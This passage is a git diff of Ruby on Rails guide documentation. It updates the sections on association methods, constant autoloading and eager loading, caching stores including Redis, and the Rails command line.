@assemblies = @part.assemblies
@@ -2060,7 +2075,8 @@ The `collection.size` method returns the number of objects in the collection.
##### `collection.find(...)`
-The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection.
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as
+[`ActiveRecord::Base.find`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find).
```ruby
@assembly = @part.assemblies.find(1)
@@ -2068,7 +2084,7 @@ The `collection.find` method finds objects within the collection. It uses the sa
##### `collection.where(...)`
-The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
```ruby
@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
@@ -2100,6 +2116,14 @@ The `collection.create` method returns a new object of the associated type. This
Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+##### `collection.reload`
+
+The `collection.reload` method returns a Relation of all of the associated objects, forcing a database read. If there are no associated objects, it returns an empty Relation.
+
+```ruby
+@assemblies = @part.assemblies.reload
+```
+
#### Options for `has_and_belongs_to_many`
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
@@ -2137,7 +2161,7 @@ end
##### `:autosave`
-If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+If you set the `:autosave` option to `true`, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting `:autosave` to `false` is not the same as not setting the `:autosave` option. If the `:autosave` option is not present, then new associated objects will be saved, but updated associated objects will not be saved.
##### `:class_name`
@@ -2367,7 +2391,7 @@ Single Table Inheritance
------------------------
Sometimes, you may want to share fields and behavior between different models.
-Let's say we have Car, Motorcycle and Bicycle models. We will want to share
+Let's say we have Car, Motorcycle, and Bicycle models. We will want to share
the `color` and `price` fields and some methods for all of them, but having some
specific behavior for each, and separated controllers too.
diff --git a/guides/source/autoloading_and_reloading_constants.md b/guides/source/autoloading_and_reloading_constants.md
index 61657023e7..b3f923a017 100644
--- a/guides/source/autoloading_and_reloading_constants.md
+++ b/guides/source/autoloading_and_reloading_constants.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Autoloading and Reloading Constants
===================================
@@ -8,7 +8,7 @@ This guide documents how constant autoloading and reloading works.
After reading this guide, you will know:
* Key aspects of Ruby constants
-* What is `autoload_paths`
+* What are the `autoload_paths` and how does eager loading work in production?
* How constant autoloading works
* What is `require_dependency`
* How constant reloading works
@@ -230,10 +230,12 @@ is not entirely equivalent to the one of the body of the definitions using the
`class` and `module` keywords. But both idioms result in the same constant
assignment.
-Thus, when one informally says "the `String` class", that really means: the
-class object stored in the constant called "String" in the class object stored
-in the `Object` constant. `String` is otherwise an ordinary Ruby constant and
-everything related to constants such as resolution algorithms applies to it.
+Thus, an informal expression like "the `String` class" technically means the
+class object stored in the constant called "String". That constant, in turn,
+belongs to the class object stored in the constant called "Object".
+
+`String` is an ordinary constant, and everything related to them such as
+resolution algorithms applies to it.
Likewise, in the controller
@@ -330,11 +332,17 @@ its resolution next. Let's define *parent* to be that qualifying class or module
object, that is, `Billing` in the example above. The algorithm for qualified
constants goes like this:
-1. The constant is looked up in the parent and its ancestors.
+1. The constant is looked up in the parent and its ancestors. In Ruby >= 2.5,
+`Object` is skipped if present among the ancestors. `Kernel` and `BasicObject`
+are still checked though.
2. If the lookup fails, `const_missing` is invoked in the parent. The default
implementation of `const_missing` raises `NameError`, but it can be overridden.
+INFO. In Ruby < 2.5 `String::Hash` evaluates to `Hash` and the interpreter
+issues a warning: "toplevel constant Hash referenced by String::Hash". Starting
+with 2.5, `String::Hash` raises `NameError` because `Object` is skipped.
+
As you see, this algorithm is simpler than the one for relative constants. In
particular, the nesting plays no role here, and modules are not special-cased,
if neither they nor their ancestors have the constants, `Object` is **not**
@@ -402,7 +410,7 @@ Rails is always able to autoload provided its environment is in place. For
example the `runner` command autoloads:
```
-$ bin/rails runner 'p User.column_names'
+$ rails runner 'p User.column_names'
["id", "email", "created_at", "updated_at"]
```
@@ -424,8 +432,8 @@ if `House` is still unknown when `app/models/beach_house.rb` is being eager
loaded, Rails autoloads it.
-autoload_paths
---------------
+autoload_paths and eager_load_paths
+-----------------------------------
As you probably know, when `require` gets a relative file name:
@@ -445,7 +453,7 @@ the idea is that when a constant like `Post` is hit and missing, if there's a
`post.rb` file for example in `app/models` Rails is going to find it, evaluate
it, and have `Post` defined as a side-effect.
-Alright, Rails has a collection of directories similar to `$LOAD_PATH` in which
+All right, Rails has a collection of directories similar to `$LOAD_PATH` in which
to look up `post.rb`. That collection is called `autoload_paths` and by
default it contains:
@@ -459,28 +467,42 @@ default it contains:
* The directory `test/mailers/previews`.
-Also, this collection is configurable via `config.autoload_paths`. For example,
-`lib` was in the list years ago, but no longer is. An application can opt-in
-by adding this to `config/application.rb`:
+`eager_load_paths` is initially the `app` paths above
-```ruby
-config.autoload_paths << "#{Rails.root}/lib"
-```
+How files are autoloaded depends on `eager_load` and `cache_classes` config settings which typically vary in development, production, and test modes:
+
+ * In **development**, you want quicker startup with incremental loading of application code. So `eager_load` should be set to `false`, and Rails will autoload files as needed (see [Autoloading Algorithms](#autoloading-algorithms) below) -- and then reload them when they change (see [Constant Reloading](#constant-reloading) below).
+ * In **production**, however, you want consistency and thread-safety and can live with a longer boot time. So `eager_load` is set to `true`, and then during boot (before the app is ready to receive requests) Rails loads all files in the `eager_load_paths` and then turns off auto loading (NB: autoloading may be needed during eager loading). Not autoloading after boot is a `good thing`, as autoloading can cause the app to be have thread-safety problems.
+ * In **test**, for speed of execution (of individual tests) `eager_load` is `false`, so Rails follows development behaviour.
+
+What is described above are the defaults with a newly generated Rails app. There are multiple ways this can be configured differently (see [Configuring Rails Applications](configuring.html#rails-general-configuration).
+). But using `autoload_paths` on its own in the past (before Rails 5) developers might configure `autoload_paths` to add in extra locations (e.g. `lib` which used to be an autoload path list years ago, but no longer is). However this is now discouraged for most purposes, as it is likely to lead to production-only errors. It is possible to add new locations to both `config.eager_load_paths` and `config.autoload_paths` but use at your own risk.
+
+See also [Autoloading in the Test Environment](#autoloading-in-the-test-environment).
`config.autoload_paths` is not changeable from environment-specific configuration files.
-The value of `autoload_paths` can be inspected. In a just generated application
+The value of `autoload_paths` can be inspected. In a just-generated application
it is (edited):
```
-$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
+$ rails r 'puts ActiveSupport::Dependencies.autoload_paths'
.../app/assets
+.../app/channels
.../app/controllers
+.../app/controllers/concerns
.../app/helpers
+.../app/jobs
.../app/mailers
.../app/models
-.../app/controllers/concerns
.../app/models/concerns
+.../activestorage/app/assets
+.../activestorage/app/controllers
+.../activestorage/app/javascript
+.../activestorage/app/jobs
+.../activestorage/app/models
+.../actioncable/app/assets
+.../actionview/app/assets
.../test/mailers/previews
```
@@ -945,7 +967,7 @@ to work on some subclass, things get interesting.
While working with `Polygon` you do not need to be aware of all its descendants,
because anything in the table is by definition a polygon, but when working with
subclasses Active Record needs to be able to enumerate the types it is looking
-for. Let’s see an example.
+for. Let's see an example.
`Rectangle.all` only loads rectangles by adding a type constraint to the query:
@@ -954,7 +976,7 @@ SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle")
```
-Let’s introduce now a subclass of `Rectangle`:
+Let's introduce now a subclass of `Rectangle`:
```ruby
# app/models/square.rb
@@ -969,7 +991,7 @@ SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle", "Square")
```
-But there’s a caveat here: How does Active Record know that the class `Square`
+But there's a caveat here: How does Active Record know that the class `Square`
exists at all?
Even if the file `app/models/square.rb` exists and defines the `Square` class,
@@ -983,20 +1005,19 @@ WHERE "polygons"."type" IN ("Rectangle")
That is not a bug, the query includes all *known* descendants of `Rectangle`.
A way to ensure this works correctly regardless of the order of execution is to
-load the leaves of the tree by hand at the bottom of the file that defines the
-root class:
+manually load the direct subclasses at the bottom of the file that defines each
+intermediate class:
```ruby
-# app/models/polygon.rb
-class Polygon < ApplicationRecord
+# app/models/rectangle.rb
+class Rectangle < Polygon
end
-require_dependency ‘square’
+require_dependency 'square'
```
-Only the leaves that are **at least grandchildren** need to be loaded this
-way. Direct subclasses do not need to be preloaded. If the hierarchy is
-deeper, intermediate classes will be autoloaded recursively from the bottom
-because their constant will appear in the class definitions as superclass.
+This needs to happen for every intermediate (non-root and non-leaf) class. The
+root class does not scope the query by type, and therefore does not necessarily
+have to know all its descendants.
### Autoloading and `require`
@@ -1041,7 +1062,7 @@ end
The purpose of this setup would be that the application uses the class that
corresponds to the environment via `AUTH_SERVICE`. In development mode
-`MockedAuthService` gets autoloaded when the initializer runs. Let’s suppose
+`MockedAuthService` gets autoloaded when the initializer runs. Let's suppose
we do some requests, change its implementation, and hit the application again.
To our surprise the changes are not reflected. Why?
@@ -1170,6 +1191,8 @@ end
#### Qualified References
+WARNING. This gotcha is only possible in Ruby < 2.5.
+
Given
```ruby
@@ -1197,7 +1220,7 @@ been loaded but `app/models/hotel/image.rb` hasn't, Ruby does not find `Image`
in `Hotel`, but it does in `Object`:
```
-$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
+$ rails r 'Image; p Hotel::Image' 2>/dev/null
Image # NOT Hotel::Image!
```
@@ -1313,3 +1336,48 @@ class C < BasicObject
end
end
```
+
+### Autoloading in the Test Environment
+
+When configuring the `test` environment for autoloading you might consider multiple factors.
+
+For example it might be worth running your tests with an identical setup to production (`config.eager_load = true`, `config.cache_classes = true`) in order to catch any problems before they hit production (this is compensation for the lack of dev-prod parity). However this will slow down the boot time for individual tests on a dev machine (and is not immediately compatible with spring see below). So one possibility is to do this on a
+[CI](https://en.wikipedia.org/wiki/Continuous_integration) machine only (which should run without spring).
+
+On a development machine you can then have your tests running with whatever is fastest (ideally `config.eager_load = false`).
+
+With the [Spring](https://github.com/rails/spring) pre-loader (included with new Rails apps), you ideally keep `config.eager_load = false` as per development. Sometimes you may end up with a hybrid configuration (`config.eager_load = true`, `config.cache_classes = true` AND `config.enable_dependency_loading = true`), see [spring issue](https://github.com/rails/spring/issues/519#issuecomment-348324369). However it might be simpler to keep the same configuration as development, and work out whatever it is that is causing autoloading to fail (perhaps by the results of your CI test results).
+
+Occasionally you may need to explicitly eager_load by using `Rails
+.application.eager_load!` in the setup of your tests -- this might occur if your [tests involve multithreading](https://stackoverflow.com/questions/25796409/in-rails-how-can-i-eager-load-all-code-before-a-specific-rspec-test).
+
+## Troubleshooting
+
+### Tracing Autoloads
+
+Active Support is able to report constants as they are autoloaded. To enable these traces in a Rails application, put the following two lines in some initializer:
+
+```ruby
+ActiveSupport::Dependencies.logger = Rails.logger
+ActiveSupport::Dependencies.verbose = true
+```
+
+### Where is a Given Autoload Triggered?
+
+If constant `Foo` is being autoloaded, and you'd like to know where is that autoload coming from, just throw
+
+```ruby
+puts caller
+```
+
+at the top of `foo.rb` and inspect the printed stack trace.
+
+### Which Constants Have Been Autoloaded?
+
+At any given time,
+
+```ruby
+ActiveSupport::Dependencies.autoloaded_constants
+```
+
+has the collection of constants that have been autoloaded so far.
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
index fd7626250c..8aaa71c557 100644
--- a/guides/source/caching_with_rails.md
+++ b/guides/source/caching_with_rails.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Caching with Rails: An Overview
===============================
@@ -32,7 +32,7 @@ Basic Caching
This is an introduction to three types of caching techniques: page, action and
fragment caching. By default Rails provides fragment caching. In order to use
page and action caching you will need to add `actionpack-page_caching` and
-`actionpack-action_caching` to your Gemfile.
+`actionpack-action_caching` to your `Gemfile`.
By default, caching is only enabled in your production environment. To play
around with caching locally you'll want to enable caching in your local
@@ -100,9 +100,9 @@ called key-based expiration.
Cache fragments will also be expired when the view fragment changes (e.g., the
HTML in the view changes). The string of characters at the end of the key is a
-template tree digest. It is an MD5 hash computed based on the contents of the
-view fragment you are caching. If you change the view fragment, the MD5 hash
-will change, expiring the existing file.
+template tree digest. It is a hash digest computed based on the contents of the
+view fragment you are caching. If you change the view fragment, the digest will
+change, expiring the existing file.
TIP: Cache stores like Memcached will automatically delete old cache files.
@@ -175,10 +175,28 @@ class Game < ApplicationRecord
end
```
-With `touch` set to true, any action which changes `updated_at` for a game
+With `touch` set to `true`, any action which changes `updated_at` for a game
record will also change it for the associated product, thereby expiring the
cache.
+### Shared Partial Caching
+
+It is possible to share partials and associated caching between files with different mime types. For example shared partial caching allows template writers to share a partial between HTML and JavaScript files. When templates are collected in the template resolver file paths they only include the template language extension and not the mime type. Because of this templates can be used for multiple mime types. Both HTML and JavaScript requests will respond to the following code:
+
+```ruby
+render(partial: 'hotels/hotel', collection: @hotels, cached: true)
+```
+
+Will load a file named `hotels/hotel.erb`.
+
+Another option is to include the full filename of the partial to render.
+
+```ruby
+render(partial: 'hotels/hotel.html.erb', collection: @hotels, cached: true)
+```
+
+Will load a file named `hotels/hotel.html.erb` in any file mime type, for example you could include this partial in a JavaScript file.
+
### Managing dependencies
In order to correctly invalidate the cache, you need to properly define the
@@ -272,7 +290,7 @@ Sometimes you need to cache a particular value or query result instead of cachin
The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, that block will be executed in the event of a cache miss. The return value of the block will be written to the cache under the given cache key, and that return value will be returned. In case of cache hit, the cached value will be returned without executing the block.
-Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching:
+Consider the following example. An application has a `Product` model with an instance method that looks up the product's price on a competing website. The data returned by this method would be perfect for low-level caching:
```ruby
class Product < ApplicationRecord
@@ -284,7 +302,7 @@ class Product < ApplicationRecord
end
```
-NOTE: Notice that in this example we used the `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key.
+NOTE: Notice that in this example we used the `cache_key` method, so the resulting cache key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model's `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key.
### SQL Caching
@@ -348,9 +366,9 @@ There are some common options used by all cache implementations. These can be pa
* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications.
-* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
+* `:compress` - Enabled by default. Compresses cache entries so more data can be stored in the same memory footprint, leading to fewer cache evictions and higher hit rates.
-* `:compress_threshold` - This option is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
+* `:compress_threshold` - Defaults to 1kB. Cache entries larger than this threshold, specified in bytes, are compressed.
* `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
@@ -387,6 +405,11 @@ store is not appropriate for large application deployments. However, it can
work well for small, low traffic sites with only a couple of server processes,
as well as development and test environments.
+New Rails projects are configured to use this implementation in development environment by default.
+
+NOTE: Since processes will not share cache data when using `:memory_store`,
+it will not be possible to manually read, write, or expire the cache via the Rails console.
+
### ActiveSupport::Cache::FileStore
This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
@@ -396,14 +419,15 @@ config.cache_store = :file_store, "/path/to/cache/directory"
```
With this cache store, multiple server processes on the same host can share a
-cache. The cache store is appropriate for low to medium traffic sites that are
+cache. This cache store is appropriate for low to medium traffic sites that are
served off one or two hosts. Server processes running on different hosts could
share a cache by using a shared file system, but that setup is not recommended.
As the cache will grow until the disk is full, it is recommended to
periodically clear out old entries.
-This is the default cache store implementation.
+This is the default cache store implementation (at `"#{root}/tmp/cache/"`) if
+no explicit `config.cache_store` is supplied.
### ActiveSupport::Cache::MemCacheStore
@@ -420,6 +444,78 @@ The `write` and `fetch` methods on this cache accept two additional options that
config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
```
+### ActiveSupport::Cache::RedisCacheStore
+
+The Redis cache store takes advantage of Redis support for automatic eviction
+when it reaches max memory, allowing it to behave much like a Memcached cache server.
+
+Deployment note: Redis doesn't expire keys by default, so take care to use a
+dedicated Redis cache server. Don't fill up your persistent-Redis server with
+volatile cache data! Read the
+[Redis cache server setup guide](https://redis.io/topics/lru-cache) in detail.
+
+For a cache-only Redis server, set `maxmemory-policy` to one of the variants of allkeys.
+Redis 4+ supports least-frequently-used eviction (`allkeys-lfu`), an excellent
+default choice. Redis 3 and earlier should use least-recently-used eviction (`allkeys-lru`).
+
+Set cache read and write timeouts relatively low. Regenerating a cached value
+is often faster than waiting more than a second to retrieve it. Both read and
+write timeouts default to 1 second, but may be set lower if your network is
+consistently low-latency.
+
+By default, the cache store will not attempt to reconnect to Redis if the
+connection fails during a request. If you experience frequent disconnects you
+may wish to enable reconnect attempts.
+
+Cache reads and writes never raise exceptions; they just return `nil` instead,
+behaving as if there was nothing in the cache. To gauge whether your cache is
+hitting exceptions, you may provide an `error_handler` to report to an
+exception gathering service. It must accept three keyword arguments: `method`,
+the cache store method that was originally called; `returning`, the value that
+was returned to the user, typically `nil`; and `exception`, the exception that
+was rescued.
+
+To get started, add the redis gem to your Gemfile:
+
+```ruby
+gem 'redis'
+```
+
+You can enable support for the faster [hiredis](https://github.com/redis/hiredis)
+connection library by additionally adding its ruby wrapper to your Gemfile:
+
+```ruby
+gem 'hiredis'
+```
+
+Redis cache store will automatically require & use hiredis if available. No further
+configuration is needed.
+
+Finally, add the configuration in the relevant `config/environments/*.rb` file:
+
+```ruby
+config.cache_store = :redis_cache_store, { url: ENV['REDIS_URL'] }
+```
+
+A more complex, production Redis cache store may look something like this:
+
+```ruby
+cache_servers = %w(redis://cache-01:6379/0 redis://cache-02:6379/0)
+config.cache_store = :redis_cache_store, { url: cache_servers,
+
+ connect_timeout: 30, # Defaults to 20 seconds
+ read_timeout: 0.2, # Defaults to 1 second
+ write_timeout: 0.2, # Defaults to 1 second
+ reconnect_attempts: 1, # Defaults to 0
+
+ error_handler: -> (method:, returning:, exception:) {
+ # Report errors to Sentry as warnings
+ Raven.capture_exception exception, level: 'warning',
+ tags: { method: method, returning: returning }
+ }
+}
+```
+
### ActiveSupport::Cache::NullStore
This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache` but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss.
@@ -570,6 +666,20 @@ You can also set the strong ETag directly on the response.
response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7"
```
+Caching in Development
+----------------------
+
+It's common to want to test the caching strategy of your application
+in development mode. Rails provides the rails command `dev:cache` to
+easily toggle caching on/off.
+
+```bash
+$ rails dev:cache
+Development mode is now being cached.
+$ rails dev:cache
+Development mode is no longer being cached.
+```
+
References
----------
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
index c8d559745e..7fa0a49203 100644
--- a/guides/source/command_line.md
+++ b/guides/source/command_line.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
The Rails Command Line
======================
@@ -21,12 +21,51 @@ There are a few commands that are absolutely critical to your everyday usage of
* `rails console`
* `rails server`
-* `bin/rails`
+* `rails test`
* `rails generate`
+* `rails db:migrate`
+* `rails db:create`
+* `rails routes`
* `rails dbconsole`
* `rails new app_name`
-All commands can run with `-h` or `--help` to list more information.
+You can get a list of rails commands available to you, which will often depend on your current directory, by typing `rails --help`. Each command has a description, and should help you find the thing you need.
+
+```bash
+$ rails --help
+Usage: rails COMMAND [ARGS]
+
+The most common rails commands are:
+generate Generate new code (short-cut alias: "g")
+console Start the Rails console (short-cut alias: "c")
+server Start the Rails server (short-cut alias: "s")
+...
+
+All commands can be run with -h (or --help) for more information.
+
+In addition to those commands, there are:
+about List versions of all Rails ...
+assets:clean[keep] Remove old compiled assets
+assets:clobber Remove compiled assets
+assets:environment Load asset compile environment
+assets:precompile Compile all the assets ...
+...
+db:fixtures:load Loads fixtures into the ...
+db:migrate Migrate the database ...
+db:migrate:status Display status of migrations
+db:rollback Rolls the schema back to ...
+db:schema:cache:clear Clears a db/schema_cache.yml file
+db:schema:cache:dump Creates a db/schema_cache.yml file
+db:schema:dump Creates a db/schema.rb file ...
+db:schema:load Loads a schema.rb file ...
+db:seed Loads the seed data ...
+db:structure:dump Dumps the database structure ...
+db:structure:load Recreates the databases ...
+db:version Retrieves the current schema ...
+...
+restart Restart app by touching ...
+tmp:create Creates tmp directories ...
+```
Let's create a simple Rails application to step through each of these commands in context.
@@ -61,9 +100,9 @@ With no further work, `rails server` will run our new shiny Rails app:
```bash
$ cd commandsapp
-$ bin/rails server
+$ rails server
=> Booting Puma
-=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000
+=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin Pinatas
@@ -80,7 +119,7 @@ INFO: You can also use the alias "s" to start the server: `rails s`.
The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.
```bash
-$ bin/rails server -e production -p 4000
+$ rails server -e production -p 4000
```
The `-b` option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a `-d` option.
@@ -92,7 +131,7 @@ The `rails generate` command uses templates to create a whole lot of things. Run
INFO: You can also use the alias "g" to invoke the generator command: `rails g`.
```bash
-$ bin/rails generate
+$ rails generate
Usage: rails generate GENERATOR [args] [options]
...
@@ -102,6 +141,7 @@ Please choose a generator below.
Rails:
assets
+ channel
controller
generator
...
@@ -117,7 +157,7 @@ Let's make our own controller with the controller generator. But what command sh
INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.
```bash
-$ bin/rails generate controller
+$ rails generate controller
Usage: rails generate controller NAME [action action] [options]
...
@@ -143,7 +183,7 @@ Example:
The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.
```bash
-$ bin/rails generate controller Greetings hello
+$ rails generate controller Greetings hello
create app/controllers/greetings_controller.rb
route get "greetings/hello"
invoke erb
@@ -160,7 +200,7 @@ $ bin/rails generate controller Greetings hello
create app/assets/stylesheets/greetings.scss
```
-What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
+What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file, and a stylesheet file.
Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`):
@@ -182,7 +222,7 @@ Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
Fire up your server using `rails server`.
```bash
-$ bin/rails server
+$ rails server
=> Booting Puma...
```
@@ -193,7 +233,7 @@ INFO: With a normal, plain-old Rails application, your URLs will generally follo
Rails comes with a generator for data models too.
```bash
-$ bin/rails generate model
+$ rails generate model
Usage:
rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
@@ -216,7 +256,7 @@ But instead of generating a model directly (which we'll be doing later), let's s
We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
```bash
-$ bin/rails generate scaffold HighScore game:string score:integer
+$ rails generate scaffold HighScore game:string score:integer
invoke active_record
create db/migrate/20130717151933_create_high_scores.rb
create app/models/high_score.rb
@@ -241,6 +281,8 @@ $ bin/rails generate scaffold HighScore game:string score:integer
invoke jbuilder
create app/views/high_scores/index.json.jbuilder
create app/views/high_scores/show.json.jbuilder
+ invoke test_unit
+ create test/system/high_scores_test.rb
invoke assets
invoke coffee
create app/assets/javascripts/high_scores.coffee
@@ -252,28 +294,28 @@ $ bin/rails generate scaffold HighScore game:string score:integer
The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
-The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `bin/rails db:migrate` command. We'll talk more about bin/rails in-depth in a little while.
+The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `rails db:migrate` command. We'll talk more about that command below.
```bash
-$ bin/rails db:migrate
+$ rails db:migrate
== CreateHighScores: migrating ===============================================
-- create_table(:high_scores)
-> 0.0017s
== CreateHighScores: migrated (0.0019s) ======================================
```
-INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions
-about code. In unit testing, we take a little part of code, say a method of a model,
-and test its inputs and outputs. Unit tests are your friend. The sooner you make
-peace with the fact that your quality of life will drastically increase when you unit
-test your code, the better. Seriously. Please visit
-[the testing guide](http://guides.rubyonrails.org/testing.html) for an in-depth
+INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions
+about code. In unit testing, we take a little part of code, say a method of a model,
+and test its inputs and outputs. Unit tests are your friend. The sooner you make
+peace with the fact that your quality of life will drastically increase when you unit
+test your code, the better. Seriously. Please visit
+[the testing guide](https://guides.rubyonrails.org/testing.html) for an in-depth
look at unit testing.
Let's see the interface Rails created for us.
```bash
-$ bin/rails server
+$ rails server
```
Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
@@ -287,14 +329,14 @@ INFO: You can also use the alias "c" to invoke the console: `rails c`.
You can specify the environment in which the `console` command should operate.
```bash
-$ bin/rails console staging
+$ rails console -e staging
```
If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.
```bash
-$ bin/rails console --sandbox
-Loading development environment in sandbox (Rails 5.0.0)
+$ rails console --sandbox
+Loading development environment in sandbox (Rails 5.1.0)
Any modifications you make will be rolled back on exit
irb(main):001:0>
```
@@ -326,7 +368,7 @@ With the `helper` method it is possible to access Rails and your application's h
### `rails dbconsole`
-`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL and SQLite3.
+`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL, and SQLite3.
INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
@@ -335,7 +377,7 @@ INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
`runner` runs Ruby code in the context of Rails non-interactively. For instance:
```bash
-$ bin/rails runner "Model.long_running_method"
+$ rails runner "Model.long_running_method"
```
INFO: You can also use the alias "r" to invoke the runner: `rails r`.
@@ -343,13 +385,13 @@ INFO: You can also use the alias "r" to invoke the runner: `rails r`.
You can specify the environment in which the `runner` command should operate using the `-e` switch.
```bash
-$ bin/rails runner -e staging "Model.long_running_method"
+$ rails runner -e staging "Model.long_running_method"
```
You can even execute ruby code written in a file with runner.
```bash
-$ bin/rails runner lib/code_to_be_run.rb
+$ rails runner lib/code_to_be_run.rb
```
### `rails destroy`
@@ -359,7 +401,7 @@ Think of `destroy` as the opposite of `generate`. It'll figure out what generate
INFO: You can also use the alias "d" to invoke the destroy command: `rails d`.
```bash
-$ bin/rails generate model Oops
+$ rails generate model Oops
invoke active_record
create db/migrate/20120528062523_create_oops.rb
create app/models/oops.rb
@@ -368,7 +410,7 @@ $ bin/rails generate model Oops
create test/fixtures/oops.yml
```
```bash
-$ bin/rails destroy model Oops
+$ rails destroy model Oops
invoke active_record
remove db/migrate/20120528062523_create_oops.rb
remove app/models/oops.rb
@@ -377,164 +419,146 @@ $ bin/rails destroy model Oops
remove test/fixtures/oops.yml
```
-bin/rails
----------
-
-Since Rails 5.0+ has rake commands built into the rails executable, `bin/rails` is the new default for running commands.
+### `rails about`
-You can get a list of bin/rails tasks available to you, which will often depend on your current directory, by typing `bin/rails --help`. Each task has a description, and should help you find the thing you need.
+`rails about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
```bash
-$ bin/rails --help
-Usage: rails COMMAND [ARGS]
-
-The most common rails commands are:
-generate Generate new code (short-cut alias: "g")
-console Start the Rails console (short-cut alias: "c")
-server Start the Rails server (short-cut alias: "s")
-...
-
-All commands can be run with -h (or --help) for more information.
-
-In addition to those commands, there are:
-about List versions of all Rails ...
-assets:clean[keep] Remove old compiled assets
-assets:clobber Remove compiled assets
-assets:environment Load asset compile environment
